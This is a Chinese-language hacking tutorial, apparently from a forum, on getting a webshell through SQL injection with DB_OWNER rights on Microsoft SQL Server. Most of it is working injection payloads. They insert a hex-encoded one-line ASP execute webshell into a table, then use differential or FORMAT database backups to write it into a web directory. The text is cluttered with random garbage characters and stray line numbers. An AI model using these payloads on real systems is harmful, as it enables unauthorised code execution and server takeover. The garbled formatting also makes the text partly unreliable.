DB_OWNER权限得到webshell的两点改进:3 m3 Y9 r$ C; Y: |" c$ o
1 t5 u' G; b( H9 k7 y减少备份文件大小,得到可执行的webshell成功率提高不少/ k3 m+ e# T8 F1 T: h
一利用差异备份8 l2 r) {9 l- G0 T
加一个参数WITH DIFFERENTIAL" Q9 r3 a4 c7 j$ B3 X
: x# b3 \7 @) i
1/ F7 K$ ~$ U ]) \. y
2. T; e6 v' x' r7 M5 e* X, _# V
3
" J5 D7 b9 k. j: D ]4
& o% y9 y* H A9 J2 S; \( t declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 C$ d" F, G2 [( ~/ J, M5 Y) H# i! Ucreate table [dbo].[xiaolu] ([cmd] [image]);1 z/ F& @8 ], `
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)' D9 b& l% X& z* m6 p( G* h7 t' }
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
# g3 z' u- b/ O6 A( ^# p2 L' p9 E6 G% u- ^, X
二利用完全FORMAT7 `8 `. ?" ]( f8 x
加一个参数WITH FROMAT
O" F- ^4 Q3 P% w有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
, ~& n0 S2 l9 t. G. ^ R0 V! j. J& q" n. w2 _
1
3 O7 U5 a6 @- d0 L+ f( G2" @ d9 G! F7 f- ?" |
3
9 S4 L7 w* W* T. C* i1 f& Z4
9 L i! r1 w% ~1 y declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s7 V- F# G* I: D9 o& y4 R
create table [dbo].[xiaolu] ([cmd] [image]);/ n G* j) \/ [0 g* Z1 Q7 D
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
4 _! E* B5 ]9 h. a0 Edeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT - Z) `0 m1 x% ?) n9 ^- [3 A
+ y7 E' P& k3 L/ R [# f. P( l5 }总的来说就是那么简单几句,下面以备份数据库model为例子6 Z* k8 ]" T2 v {
11 x. P' H) P& z, R
" L9 A" Q# G$ U: n
1- L5 }, R( u9 I
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 2 U% }% J, q7 L5 M
) K% U- s3 ~$ C' s! \" l) \
2( u+ Z! g. O! r7 M) J
2 M+ \* v+ c$ \) i8 Q; `
1
0 z4 x6 [+ V; {! j) o id=1;backup database model to disk='你的路径‘ with differential,format;--
" i% A- a9 V/ M" D( O. @ m0 H |